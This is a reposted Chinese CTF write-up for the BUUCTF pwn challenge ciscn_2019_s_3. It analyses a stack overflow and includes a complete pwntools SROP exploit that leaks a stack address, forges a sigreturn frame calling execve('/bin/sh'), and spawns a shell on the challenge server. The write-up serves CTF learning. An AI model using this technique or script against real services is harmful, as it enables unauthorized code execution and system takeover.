BUUCTF pwn ciscn_2019_s_3(SROP)
程序员文章站
2024-01-20 08:32:22
...
0x01 文件分析
0x02 运行
有一个回显,并且还有多余的字符显示,接着看代码分析一下。
0x03 IDA源码
由后面的函数可以看出,这个程序使用的系统调用,并且vuln里面存在栈溢出。
在程序之中的gadgets存在着两个为rax赋值的gadget,15的系统号是rt_sigreturn,3b的系统调用是execve,利用这两个可以执行系统调用得到shell。
execve的系统调用可以参照vuln中的调用找gadget实现,这里采用SROP方式,利用15号系统调用。
0x04 解题思路
pwntools中有一个函数SigreturnFrame()可以便捷构造frame框架,再泄露出栈的地址,传入字符串,拿到shell。
栈的地址可以通过main函数的参数argv[0]得到,栈的地址拿到后,还需要知道栈的偏移量,栈的偏移量可以通过gdb调试得到。
程序刚开始时的RSI保存的便是栈的地址,再通过程序之中的read系统调用传入参数,得到的地址就是偏移后的地址。
0x7fffffffe098 - 0x7fffffffdf80 = 0x118(栈的偏移量,用于找到传入的’/bin/sh’位置)。
0x05 exp
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn',29246)
sigreturn = 0x4004DA
read_write = 0x4004F1
system_call = 0x400517
payload = '/bin/sh\x00' + 'a'*0x8 + p64(read_write)
p.send(payload)
p.recv(32)
sh_addr = u64(p.recv(8)) - 0x118
p.recv(8)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
#frame.rsp = sh_addr-0x118
frame.rip = system_call
payload = 'a'*0x10+p64(sigreturn)+p64(system_call)+str(frame)
p.send(payload)
log.success('stack_addr: ' + hex(sh_addr+0x118))
p.interactive()
一个简单的网络安全公众号,欢迎各位朋友们关注!
上一篇: 小米收购第三方支付机构 雷军出任董事长
推荐阅读
-
[BUUCTF]PWN21——ciscn_2019_s_3
-
[BUUCTF]PWN——ciscn_2019_es_2
-
BUUCTF pwn ciscn_2019_s_3(SROP)
-
buuctf-pwn1 sctf 2016
-
buuctf DSACTF7月pwn 栈迁移 ret对齐 修改bss的内容 lea esp, [ecx-4] 64位格式化字符串修改got
-
BUUCTF pwn ez_pz_hackover_2016(write up)
-
buuctf中的一些pwn题总结(不断更新)
-
【pwn】ciscn_2019_s_3
-
buuctf DSACTF7月pwn 栈迁移 ret对齐 修改bss的内容 lea esp, [ecx-4] 64位格式化字符串修改got